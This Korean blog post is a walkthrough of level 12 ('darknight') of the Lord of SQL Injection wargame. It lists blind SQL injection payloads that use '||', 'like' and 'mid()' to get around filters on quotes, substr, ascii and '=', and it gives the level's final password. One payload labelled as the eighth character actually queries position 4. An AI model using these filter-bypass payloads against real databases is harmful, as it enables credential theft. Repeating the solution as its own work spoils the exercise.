이번 포스팅은 12번째! 다크나이트이다.
이름이 정말 멋있고 썸네일(?) 도 멋있다.
개인적으로 칼 등의 무기를 든 것보다 방패를 든게 더 멋있는 것 같다.
사설이 길었다. 빠르게 코드로 넘어가자!
12번 다크나이트 문제도 블라인드인젝션 유형의 문제이다.
주요한 코드를 살펴보자!
preg_match 를 통해 pw 에서는 ' 가 필터링되어 있고,
no에서는 ' 와 substr, ascii, = 이 필터링 되어있다.
이 쿼리문을 보면 pw에는 우리가 입력한 값을 싱글쿼터로 감싸주고 있으나,
no에서는 아무런 보호막(?)이 없다. 우리가 no를 아무값이나 막 쓰고 or 을 사용하여 쿼리문을 이어주면 된다.
이제 블라인드 인젝션 공격을 시행해보자!
먼저 길이를 알아내야한다.
?no=1234 || length(pw) like 8
pw 값이 8자리라는 것을 알아냈다!
다음으로 mid를 사용하여 직접적으로 값을 알아보자!
substring 은 substr을 추출할때 같이 걸러내진다. mid를 사용할 수 밖에 없다!
?no=1234 || mid(pw,1,1) like 1
첫번째 글자는 1이다.
?no=1234 || mid(pw,2,1) like "c"
두번째 글자는 c이다.
c는 문자열이기 때문에 ' 나 " 를 사용해야하는데, '는 필터링이 되어있으니 "로 우회해주자!
?no=1234 || mid(pw,3,1) like 6
세번째 글자는 6이다.
?no=1234 || mid(pw,4,1) like 2
네번째 글자는 2이다.
?no=1234 || mid(pw,5,1) like "b"
다섯번째 글자는 b이다.
?no=1234 || mid(pw,6,1) like "a"
여섯번째 글자는 a이다.
?no=1234 || mid(pw,7,1) like 6
일곱번째 글자는 6이다.
?no=1234 || mid(pw,4,1) like "f"
마지막 여덟번째 글자는 f이다.
이렇게 하나하나 찾다보면, 1c62ba6f 라는 값이 나온다!
이제 이것을 그대로 pw에 넣는다.
?pw=1c62ba6f
darknight clear!
'Archive > Hacking' 카테고리의 다른 글
Lord of SQL Injection 14단계, giant풀이 (0) | 2019.11.07 |
---|---|
Lord of SQL Injection 13단계, bugbear풀이 (0) | 2019.11.07 |
Lord of SQL Injection 11단계, golem풀이 (0) | 2019.11.07 |
Lord of SQL Injection 10단계, skeleton풀이 (0) | 2019.11.05 |
Lord of SQL Injection 9단계, vampire풀이 (2) | 2019.10.31 |